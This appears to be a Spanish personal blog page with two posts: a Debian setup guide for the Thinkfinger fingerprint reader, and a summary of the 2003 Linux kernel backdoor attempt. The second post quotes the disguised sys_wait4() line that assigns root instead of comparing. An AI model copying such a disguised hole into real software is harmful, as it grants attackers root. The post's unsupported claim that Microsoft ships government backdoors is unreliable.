lunes, 18 de febrero de 2008

Lector de huellas digitales Thinkfinger

Esta información está por ahí, sobretodo aquí pero pongo aquí algunas de las dificultades que he econtrado en la instalación en Debian. Mi portatil es el Toshiba U200.

Lo primero que deberemos hacer es bajarnos las fuentes de Sourceforge, tras ésto descomprimiremos las fuentes y entraremos en el directorio que nos haya creado, en mi caso ejecuté los siguientes comandos desde el directorio en el que bajé las fuentes:

#tar -zxvf thinkfinger-0.3
#cd thinkfinger-0.3

Antes de continuar deberemos estar seguros de tener el compilador instalado. Si no es así deberemos instalar gcc y g++.

apt-get install gcc g++ libpam0g-dev libusb-dev

Una vez tengamos esto, deberemos estar seguros de tener pkg-config instalado, sino podremos tener errores tales como "Checking for USB... configure: error: libusb missing", si necesitamos instalarlo bastará con:

#apt-get install pkg-config

Una vez tengamos todo ejecutamos el siguiente comando para configurar la instalación de Thinkfinger:

#./configure --prefix=/usr --sysconfdir=/etc \
--with-securedir=/lib/security --with-birdir=\
/etc/pam_thinkfinger
# make
# make install


Con esto ya tendremos nuestro lector de huellas dactilares funcionando.
Si hacemos

#tf-tool

y obtenemos el siguiente error:

tf-tool: error while loading shared libraries: libthinkfinger.so.0: cannot open shared object file: No such file or directory

bastará con ejecutar

#ldconfig

Podemos hacer una prueba escribiendo:

# tf-tool --acquire

Nos pedirá que pasemos el dedo por el lector 3 veces. Tras 3 lecturas correctas podremos hacer

#tf-tool --verify

Para pasar el dedo y comprobar que todo funciona correctamente.
Una vez hecho esto y para guardar las huellas para nuestros usuarios deberemos primero crear el siguiente directorio:

#mkdir /etc/pam_thinkfinger

Tras esto ya podremos ir almacenado las huellas de los usuarios autorizados de la siguiente forma:

#tf-tool --add-user usuario-del-que-queremos-guardar-huella

Solo nos falta un último paso para que podamos utilizar nuestro dedo en lugar de escribir la contraseña, debemos editar el archivo /etc/pam.d/common-auth y añadir la siguiente linea:

auth    sufficient      pam_thinkfinger.so
auth required pam_unix.so try_first_pass nullok_secure
Por último deberemos cargar el módulo uinput para que los login nos permitan usar el dedo.

#modprobe uinput

Para que se cargue siempre que inicie el equipo deberemos editar el archivo /etc/modules y añadir una linea que ponga:

uinput

A partir de ahora siempre que nos pida la contraseña podremos pasar nuestro dedo en lugar de escribirla.

viernes, 18 de enero de 2008

Linux kernel backdoor 2003

Hoy en el trabajo haciendo una búsqueda en google para una tarea que tenía por ahí pendiente me he encontrado una página en la que hablaban del intento de introducir una puerta trasera en el kernel. La página en cuestión es la siguiente: kernel backdoor. Lo que voy a describir abajo está muy bien explicado en cualquiera de los dos enlaces que vienen aquí, pero como están en inglés me tomo la libertad de hacer un pequeño resumen en español.

En ella se puede encontrar un enlace al código y aquí está el inicio del hilo. Es muy interesante echar un vistazo a la primera línea (son solo dos) y ver como una persona con malas intenciones y mucho conocimiento intenta que esta puerta trasera pase desapercibida, menos mal que parece que tienen todo controlado y se detectan estos intrusos, además el hecho de que el codigo sea abierto abre la puerta a que terceros puedan investigar el código y detectar problemas. La idea es que si alguien ve la famosa linea en cuenatión no se percate de lo que pasa en ella:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

Esta linea fue modificada en la función sys_wait4(), es decir una función de exit.c que una vez compilada en el kernel corre con permisos de root. Lo que en principio parece una comprobación de flags y de usuario (parece que se comprueba si se han activado las flags __WCLONE y __WALL, y si el usuario actual es root, en realidad lo que hace es, comprobar si se activaron esas dos flags (cosa por otro lado poco probable, ya que son dos flags que se supone son excluyentes) Y si están activas SE CAMBIA A ROOT AL USUARIO ACTUAL. Es decir la persona que introdujo este código habría podido ser root en cualquier máquina que se actualizase a este kernel. En C se utiliza el simbolo == para comprobar si un valor es igual a otro, y se utiliza el símbolo = para asignar un valor a una variable. Además, el tipo que introdujo este código puso "()" extra para asegurarse que el compilador de c no protestase.

En fin, uno no deja de maravillarse de la peña que hay por ahí, chapó para todos, el que lo intentó hacer y los que lo pillaron antes de que lo consiguiese.

De todo esto se saca algo en claro, es muy dificil que se consiga introducir una puerta trasera en el kernel de linux, y si alguien lo hiciese siempre alguien podría darse cuenta consultando el código, algo que no pasa con los sistemas propietarios como Microsoft, que no solo nadie puede ver por dentro sino que además llevan la puerta incorporada por sus creadores para permitir que los gobiernos puedan inspecionar las máquinas.

VIVA LINUX